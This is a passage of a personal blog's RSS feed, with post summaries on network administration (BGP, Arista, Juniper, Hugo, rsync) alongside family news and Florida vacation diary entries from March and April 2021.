&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Packets are displayed in real time as they pass through the link:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Renewing a CML license</title>
      <link>https://jasonmurray.org/posts/2021/renewcml/</link>
      <pubDate>Mon, 12 Apr 2021 06:43:45 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/renewcml/</guid>
      <description>&lt;p&gt;In March 2021, my &lt;a href=&#34;https://learningnetworkstore.cisco.com/cisco-modeling-labs-personal/cisco-cml-personal&#34;&gt;Cisco Modeling Lab (CML)&lt;/a&gt; license expired. Last year I purchased the standard 20 node license. However, with 64 CPUs and 1T of memory my lab has horsepower to spare. I upgraded to the 40 node license this year. To move between license a few additional steps are required.&lt;/p&gt;&#xA;&lt;p&gt;Enter the &lt;code&gt;Tools -&amp;gt; Licensing&lt;/code&gt; menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-10-15-44-28.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-10-15-44-28.png&#34; alt=&#34;Image of cisco cml&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am not 100% sure this step is necessary, but I &lt;code&gt;deregistered&lt;/code&gt; the product first since a new license was generated:&lt;/p&gt;</description>
    </item>
    <item>
      <title>My daughter received the first dose of the Pfizer vaccine today</title>
      <link>https://jasonmurray.org/posts/2021/allisonpfizer/</link>
      <pubDate>Sun, 11 Apr 2021 15:43:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/allisonpfizer/</guid>
      <description>&lt;p&gt;Missouri entered &lt;a href=&#34;https://covidvaccine.mo.gov/&#34;&gt;phase 3&lt;/a&gt; of the COVID-19 vaccine rollout this past week. Anyone 16 years or older is &lt;a href=&#34;https://news.stlpublicradio.org/coronavirus/2021-04-10/covid-19-vaccine-now-available-to-all-missourians-who-are-16-and-older&#34;&gt;eligible to receive the shot&lt;/a&gt;. Our family seized the opportunity to do our part and help stop the spread of this dreadful disease. After reviewing the &lt;a href=&#34;https://covidvaccine.mo.gov/navigator/&#34;&gt;Missouri Vaccine Navigator&lt;/a&gt; website, we determined due to low turnout, &lt;a href=&#34;https://fox2now.com/news/walk-ins-welcome-after-low-turn-out-for-st-louis-mass-vaccination-events/&#34;&gt;walk ups&lt;/a&gt; are welcomed at the St. Louis mass vaccination center in the &lt;a href=&#34;https://en.wikipedia.org/wiki/America%27s_Center&#34;&gt;America&amp;rsquo;s Center Dome&lt;/a&gt;. Even with &lt;a href=&#34;https://www.stltoday.com/news/local/metro/vaccinations-ramp-up-at-dome-despite-traffic-detours-downtown/article_a52773df-7973-568e-8112-6ab9a75eed9f.html&#34;&gt;numerous road closures&lt;/a&gt; and a bit of confusion finding the proper entrance due to the auto show, the overall process was quick and easy.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using BFD to reduce BGP convergence</title>
      <link>https://jasonmurray.org/posts/2021/ciscobfd/</link>
      <pubDate>Sat, 10 Apr 2021 13:53:03 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/ciscobfd/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Given the following topology:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-10-13-57-35.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-10-13-57-35.png&#34; alt=&#34;Image of bfd network topology &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;By enabling &lt;code&gt;bfd&lt;/code&gt; on an eBGP session between the &lt;code&gt;edge-2&lt;/code&gt; and &lt;code&gt;isp-1&lt;/code&gt; routers, BGP convergence (route withdrawl) on a failed link is reduced from 150 seconds to less then 1 second.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;To automate counting the number of seconds before the routes are withdrawn, I run a &lt;code&gt;tcl&lt;/code&gt; script (because Cisco only supports TCL scripting even though it is 2021) on the router. Run the script by typing &lt;code&gt;tclsh&lt;/code&gt; and pasting the script below:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Clipboard manager</title>
      <link>https://jasonmurray.org/posts/2021/clipboardmanager/</link>
      <pubDate>Fri, 09 Apr 2021 14:43:19 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/clipboardmanager/</guid>
      <description>&lt;p&gt;Viewing and recalling items copied into the clipboard should be a standard option within the operating system. However, it is not and third-party software is required.&lt;/p&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t know how many times I find myself switching back to a virtual desktop, reopening a closed window, or searching again for a piece of information in the clipboard just minutes before. Enter a &lt;code&gt;clipboard manager&lt;/code&gt;. This software stores the latest bits of information stuffed into the clipboard then provides a menu or set of hotkeys to quickly view and paste specific entries.&lt;/p&gt;</description>
    </item>
    <item>
      <title>iTerm2 Status Bar</title>
      <link>https://jasonmurray.org/posts/2021/iterm2status/</link>
      <pubDate>Thu, 08 Apr 2021 09:34:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/iterm2status/</guid>
      <description>&lt;p&gt;The &lt;a href=&#34;https://iterm2.com/documentation-status-bar.html&#34;&gt;&lt;code&gt;status bar&lt;/code&gt; feature&lt;/a&gt; in iTerm2 offers a clean interface to display up-to-date information about the current working environment, including scriptable interactions when needed.&lt;/p&gt;&#xA;&lt;p&gt;Setup the &lt;code&gt;status bar&lt;/code&gt; by entering &lt;code&gt;Preferences -&amp;gt; Profile -&amp;gt; Session -&amp;gt; Configure Status Bar&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-08-10-01-28.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-08-10-01-28.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add the appropriate components to display or configure. I tend to use the terminal when troubleshooting performance issues on my MacBook. In this example, we enable &lt;code&gt;battery&lt;/code&gt;, &lt;code&gt;cpu&lt;/code&gt;, &lt;code&gt;memory&lt;/code&gt;, and &lt;code&gt;network&lt;/code&gt; statistics to aid in troubleshooting:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic Arista Tap Aggregation Configuration</title>
      <link>https://jasonmurray.org/posts/2021/aristatap/</link>
      <pubDate>Wed, 07 Apr 2021 16:29:59 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/aristatap/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.arista.com/&#34;&gt;Arista&amp;rsquo;s&lt;/a&gt; &lt;a href=&#34;https://www.arista.com/en/solutions/technology-bulletins/585-tap-aggregation&#34;&gt;Tap Aggregation&lt;/a&gt; feature turns  switch(es) into packet capture, aggregation, and distribution points. This setup allows network operators to setup capture points over large geographic areas then centralize the collection point to a single data center.&lt;/p&gt;&#xA;&lt;p&gt;The following diagram is an example topology of two different geographic areas performing packet captures and sending the output to a centralized cluster of servers for analysis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/arista-high-level-overview.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/arista-high-level-overview.png&#34; alt=&#34;Image of arista topology&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;h3 id=&#34;tap--tool-mode&#34;&gt;Tap / Tool Mode&lt;/h3&gt;&#xA;&lt;p&gt;To enable Tap Aggregation mode, each port on the switch is configured as either a &lt;code&gt;tool&lt;/code&gt; or a &lt;code&gt;tap&lt;/code&gt;.  A &lt;code&gt;tool&lt;/code&gt; port is an interface that replicates data streams received by one or more tap ports. A &lt;code&gt;tap&lt;/code&gt; port is an interface that receives a packet capture from a physical tap or &lt;code&gt;span / monitor&lt;/code&gt; port.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Rebead and inflate a small tire</title>
      <link>https://jasonmurray.org/posts/2021/wheelbarrow/</link>
      <pubDate>Tue, 06 Apr 2021 16:07:21 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/wheelbarrow/</guid>
      <description>&lt;p&gt;To inflate a tire, there must be an airtight seal on the bead between the tire and rim. When the seal breaks on a small tire, like the one on a wheelbarrow, it is impossible to inflate.&lt;/p&gt;&#xA;&lt;p&gt;To reseat the bead, attach a ratchet strap around the tire and slowly snug it up until the bead pushes out to the rim:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1990.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1990.jpeg&#34; alt=&#34;Image of inflating tire on wheelbarrow&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After the ratchet strap applies enough pressure, the bead will seal against the rim. Attempt to air-up the tire:&lt;/p&gt;</description>
    </item>
    <item>
      <title>The 2018 Wikaryasz family reunion fire pit</title>
      <link>https://jasonmurray.org/posts/2021/firepit/</link>
      <pubDate>Mon, 05 Apr 2021 22:07:59 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/firepit/</guid>
      <description>&lt;p&gt;Every three years Jami&amp;rsquo;s family gathers for the Wikaryasz family reunion. From Alaska to Maine, over 100 family members coverage at the original homestead in Alpena, MI.&lt;/p&gt;&#xA;&lt;p&gt;In 2018, we won a custom made fire pit with all three spelling of the Wikaryasz name cut into the steal. Three years later, we used it for the first time:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_2011.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_2011.jpeg&#34; alt=&#34;Image of iOS 2018 family reunion fire pit&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_2007.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_2007.jpeg&#34; alt=&#34;Image of iOS 2018 family reunion fire pit&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Pay attention to the user experience</title>
      <link>https://jasonmurray.org/posts/2021/userexperience/</link>
      <pubDate>Sun, 04 Apr 2021 16:56:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/userexperience/</guid>
      <description>&lt;p&gt;As the network architect, a significant part of my job is building systems our users enjoy using. Since I work on the networking team, I am hyper-focused on building interfaces or process that help our users attach to the network. From wired, wireless, or remote access VPN, our team pays special attention to making the connection process hassle free.&lt;/p&gt;&#xA;&lt;p&gt;My appreciation for the user experience goes beyond the commonplace technology interface. This past week, I checked in at a &lt;a href=&#34;https://www.bjc.org/&#34;&gt;BJC medical center&lt;/a&gt; for a routine medical procedure. Upon arrival, someone instantly acknowledged me, asking if I was here for a procedure. When I answered “yes”, they directed me to the elevator and told me to “push the procedure button”.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Share Wi-Fi password with other Apple iDevices</title>
      <link>https://jasonmurray.org/posts/2021/applewifipassword/</link>
      <pubDate>Sat, 03 Apr 2021 20:07:01 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/applewifipassword/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Apple removed the complexity of &lt;a href=&#34;https://support.apple.com/en-us/HT209368&#34;&gt;sharing Wi-Fi passwords&lt;/a&gt; with other iDevices. When one device is already connected to the network, it will attempt to share the Wi-Fi password with any new iDevice attempting to connect.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;In this example my iPhone is connected to the Wi-Fi network, but the iPad is not. By entering &lt;code&gt;Settings -&amp;gt; Wi-Fi&lt;/code&gt; on the iPad and selecting the appropriate network:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_00272.PNG&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_0027.PNG&#34; alt=&#34;Image of iOS iPad wifi&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Render raw html in HUGO markdown files</title>
      <link>https://jasonmurray.org/posts/2021/hugohtml/</link>
      <pubDate>Fri, 02 Apr 2021 06:32:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/hugohtml/</guid>
      <description>&lt;p&gt;By default Hugo will not render embedded &lt;code&gt;html&lt;/code&gt; in markdown files.  To enable, add the following lines to &lt;code&gt;config.toml&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[markup.goldmark.renderer]&#xA;  unsafe = true&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Entering the raw &lt;code&gt;html&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;h1&amp;gt;hello world!&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Renders:&lt;/p&gt;&#xA;&lt;h1&gt;hello world!&lt;/h1&gt;</description>
    </item>
    <item>
      <title>My daughter is featured in the St. Louis Post as an athlete of the week!</title>
      <link>https://jasonmurray.org/posts/2021/allisonstlpost/</link>
      <pubDate>Thu, 01 Apr 2021 15:39:01 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/allisonstlpost/</guid>
      <description>&lt;h2 id=&#34;allie-murray--lutheran-st-charles-soccer&#34;&gt;&lt;a href=&#34;https://www.stltoday.com/sports/high-school/athletes-of-the-week/athletes-of-the-week-april-1-2021/collection_43f5806a-92d9-11eb-85f2-afe732dbd079.html#1&#34;&gt;Allie Murray • Lutheran St. Charles soccer&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-01-15-41-27.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-01-15-41-27.png&#34; alt=&#34;Image of soccer allison&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A junior midfielder and team captain, Murray helped the Cougars capture the championship of their own tournament and was named the event’s MVP. In the round robin tourney format, Murray had one goal and two assists in an 8-0 win over Hazelwood Central, three goals and one assist in a 4-0 victory over Sullivan and two goals in a 7-2 win over Festus. She was a starter as a freshman and put up 12 goals and 14 assists to earn Class 2 all-state honors. In basketball, she averaged 3.2 points and 2.2 assists in 17 games this season.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Adding plausible.io analytics to Hugo</title>
      <link>https://jasonmurray.org/posts/2021/plausible/</link>
      <pubDate>Wed, 31 Mar 2021 14:03:54 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/plausible/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;This year (2021) I removed Google Analytics and &lt;a href=&#34;https://jasonmurray.org/posts/2021/disqusprivacy/&#34;&gt;Disqus&lt;/a&gt; from my Hugo managed website to enhance the privacy of visitors. Site statistics is not a requirement, I am not selling anything or making an attempt to optimize readership. However, it is nice to know what people are interested in reading. At some point I may try to tailor content that is more interesting to my readers instead of whatevers top of mind for the day.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using rsync to move large datasets</title>
      <link>https://jasonmurray.org/posts/2021/rsync/</link>
      <pubDate>Tue, 30 Mar 2021 16:53:39 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/rsync/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;When moving a single file from one host to another, traditional commands like &lt;code&gt;scp&lt;/code&gt; or &lt;code&gt;sftp&lt;/code&gt; do the job just fine. However, when large data sets are involved better tooling is required.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;rsync&lt;/code&gt; command is design to transfer files and directories between network connected hosts or directories on a local file system. &lt;code&gt;rsync&lt;/code&gt; uses the &lt;em&gt;rsync algorithm&lt;/em&gt;, which only transfers parts of the file(s) that have changed. With the &lt;code&gt;archive&lt;/code&gt; option, &lt;code&gt;rsync&lt;/code&gt; will maintain time stamps, ownership, and links, making it an ideal tool for directory synchronization or backups.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Generating random BGP prefixes with routem</title>
      <link>https://jasonmurray.org/posts/2021/routem/</link>
      <pubDate>Mon, 29 Mar 2021 20:54:58 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/routem/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;In a previous post, I used &lt;a href=&#34;https://jasonmurray.org/posts/2020/exabgp-fulltable/&#34;&gt;exabgp&lt;/a&gt; and a BGP snapshot from &lt;a href=&#34;https://www.ripe.net/analyse/internet-measurements/routing-information-service-ris/ris-raw-data&#34;&gt;RIPE&lt;/a&gt; to simulate a full Internet routing table.&lt;/p&gt;&#xA;&lt;p&gt;For those looking for a less complicated way to simulate large routing tables, the &lt;code&gt;routem&lt;/code&gt; software will generate any number of prefixes and random AS paths with a few lines of configuration.&lt;/p&gt;&#xA;&lt;h2 id=&#34;network-topology&#34;&gt;Network Topology&lt;/h2&gt;&#xA;&lt;p&gt;This lab uses the following eBGP router topology and IP addresses:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;isp-1 (172.16.200.1) &amp;lt;-&amp;gt; external-linux-1 (172.16.200.2)&lt;/li&gt;&#xA;&lt;li&gt;isp-1 (192.160.0.1) &amp;lt;-&amp;gt; edge-2 (192.168.0.0)&lt;/li&gt;&#xA;&lt;li&gt;isp-1 (192.168.0.3) &amp;lt;-&amp;gt; edge-1 (192.168.0.2)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-29-21-00-33.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-29-21-00-33.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Access a Linux shell on an Arista switch</title>
      <link>https://jasonmurray.org/posts/2021/eosshell/</link>
      <pubDate>Sun, 28 Mar 2021 20:49:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/eosshell/</guid>
      <description>&lt;p&gt;Access a Linux shell on an Arita switch by running &lt;code&gt;bash&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;arista-switch#bash&#xA;&#xA;&#xA;Arista Networks EOS shell&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Full &lt;code&gt;bash&lt;/code&gt; shell:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[admin@arista-switch ~]$ uptime&#xA; 20:48:39 up  1:50,  2 users,  load average: 0.19, 0.18, 0.18&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Partitioning and formatting a disk in Linux with gdisk and ext4</title>
      <link>https://jasonmurray.org/posts/2021/gdisk/</link>
      <pubDate>Sat, 27 Mar 2021 06:34:33 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/gdisk/</guid>
      <description>&lt;p&gt;In this server, &lt;code&gt;/dev/sdb&lt;/code&gt; is an unconfigured 36T disk in a RAID-5 configuration:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurray@wuit-s-00229 ~]$ ls -al /dev/sd*&#xA;brw-rw----. 1 root disk 8,  0 Mar 24 10:08 /dev/sda&#xA;brw-rw----. 1 root disk 8,  1 Mar 24 10:08 /dev/sda1&#xA;brw-rw----. 1 root disk 8,  2 Mar 24 10:08 /dev/sda2&#xA;brw-rw----. 1 root disk 8,  3 Mar 24 10:08 /dev/sda3&#xA;brw-rw----. 1 root disk 8,  4 Mar 24 10:08 /dev/sda4&#xA;brw-rw----. 1 root disk 8, 16 Mar 24 10:08 /dev/sdb&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Partition &lt;code&gt;/dev/sdb&lt;/code&gt; with &lt;code&gt;gdisk&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Juniper fxp0 management interface</title>
      <link>https://jasonmurray.org/posts/2021/fxp/</link>
      <pubDate>Fri, 26 Mar 2021 11:04:05 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/fxp/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;On a Juniper router the &lt;code&gt;fxp0&lt;/code&gt; interface does not show up in the &amp;ldquo;standard&amp;rdquo; &lt;code&gt;interface&lt;/code&gt; configuration output. Instead, it is &lt;code&gt;grouped&lt;/code&gt; with the &lt;code&gt;router engines&lt;/code&gt; configuration.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Looking at the routing table, we see the &lt;code&gt;172.21.16.0/24&lt;/code&gt; network is associated with the &lt;code&gt;fxp0.0&lt;/code&gt; interface:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@LAB-MX480&amp;gt; show route 172.21.16.0&#xA;&#xA;inet.0: 9 destinations, 10 routes (9 active, 0 holddown, 0 hidden)&#xA;+ = Active Route, - = Last Active, * = Both&#xA;&#xA;172.21.16.0/24     *[Direct/0] 6d 23:01:48&#xA;                    &amp;gt;  via fxp0.0&#xA;                    [Direct/0] 6d 23:01:48&#xA;                    &amp;gt;  via fxp0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;show interfaces&lt;/code&gt; details information about the &lt;code&gt;fxp0.0&lt;/code&gt; interface:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Internal and Documentation IP Blocks</title>
      <link>https://jasonmurray.org/posts/2021/documentation/</link>
      <pubDate>Thu, 25 Mar 2021 16:50:27 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/documentation/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Prior to 2010, the IP block 1.0.0.0/8 was considered unassigned before its allocation to ARIN. Many organizations considered this unassigned space available for private use within their products or documentation.&lt;/p&gt;&#xA;&lt;p&gt;In 2018 Cloudflare purchased the 1.1.1.0/24 allocation for their anycast DNS service. This is when they found out how many network connected devices were misconfigured with addresses allocated from this block, most notably the 1.1.1.1 address. Early measurements documented &lt;a href=&#34;https://blog.cloudflare.com/fixing-reachability-to-1-1-1-1-globally/&#34;&gt;~10Gb/s of background traffic&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using the Python mailmerge command to send customized emails</title>
      <link>https://jasonmurray.org/posts/2021/mailmerge/</link>
      <pubDate>Wed, 24 Mar 2021 14:35:38 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/mailmerge/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://pypi.org/project/mailmerge/&#34;&gt;Mailmerge&lt;/a&gt; is a Python command line tool to send individual customized email messages based on Jinja2 templates and an email database.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Install &lt;code&gt;mailmerge&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install mailmerge&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Configure the system by creating sample configuration files:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(.venv) jemurray@phalanges:~/Documents/src/personalPython/mailmerge $ mailmerge --sample&#xA;Created sample template email &amp;#34;mailmerge_template.txt&amp;#34;&#xA;Created sample database &amp;#34;mailmerge_database.csv&amp;#34;&#xA;Created sample config file &amp;#34;mailmerge_server.conf&amp;#34;&#xA;&#xA;Edit these files, then run mailmerge again.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;mailmerge_template.txt&lt;/code&gt; is the source of the email message.  The file is a Jinja2 template where variables are stored in &lt;code&gt;{{variables}}&lt;/code&gt;. Each of these fields are replaced with data from the &lt;code&gt;mailmerge_database.csv&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Day 7 of our Florida Vacation</title>
      <link>https://jasonmurray.org/posts/2021/flv-0323/</link>
      <pubDate>Tue, 23 Mar 2021 13:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/flv-0323/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-24-14-07-41.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-24-14-07-41.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Day 7:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Flying home&amp;hellip;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Day 6 of our Florida Vacation</title>
      <link>https://jasonmurray.org/posts/2021/flv-0322/</link>
      <pubDate>Mon, 22 Mar 2021 13:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/flv-0322/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-24-14-02-01.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-24-14-02-01.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Day 6:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All vacations must come to an end.  Packed up and left the rental house.&lt;/li&gt;&#xA;&lt;li&gt;Stopped in Little Havana for lunch.&lt;/li&gt;&#xA;&lt;li&gt;Drove by the Miami beach shoreline for a quick view at spring break in the pandemic&amp;hellip; You wouldn&amp;rsquo;t know a pandemic was in full swing.&lt;/li&gt;&#xA;&lt;li&gt;Visited the Wynwood Walls art gallery.&lt;/li&gt;&#xA;&lt;li&gt;Slept at a Fort Lauderdale hotel so we could easily catch our flight the following day.&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Day 5 of our Florida Vacation</title>
      <link>https://jasonmurray.org/posts/2021/flv-0321/</link>
      <pubDate>Sun, 21 Mar 2021 13:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/flv-0321/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-24-13-59-25.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-24-13-59-25.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Day 5:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visited Fort Jefferson at Dry Tortugas National Park (all day event)&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Day 4 of our Florida Vacation</title>
      <link>https://jasonmurray.org/posts/2021/flv-0320/</link>
      <pubDate>Sat, 20 Mar 2021 13:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/flv-0320/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-24-13-56-20.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-24-13-56-20.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Day 4:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hung out at the house&lt;/li&gt;&#xA;&lt;li&gt;Visited the Turtle Hospital&lt;/li&gt;&#xA;&lt;li&gt;Watched another sunset and hung out with friends&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Day 3 of our Florida Vacation</title>
      <link>https://jasonmurray.org/posts/2021/flv-0319/</link>
      <pubDate>Fri, 19 Mar 2021 13:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/flv-0319/</guid>
      <description>&lt;p&gt;Woke up to this guy hanging out at our dock:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-24-13-52-45.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-24-13-52-45.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Day 3:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Slept in late&lt;/li&gt;&#xA;&lt;li&gt;Kayaked from our house&lt;/li&gt;&#xA;&lt;li&gt;Snorkeled at a public beach&lt;/li&gt;&#xA;&lt;li&gt;Hung out at the house&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Day 2 of our Florida Vacation</title>
      <link>https://jasonmurray.org/posts/2021/flv-0318/</link>
      <pubDate>Thu, 18 Mar 2021 13:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/flv-0318/</guid>
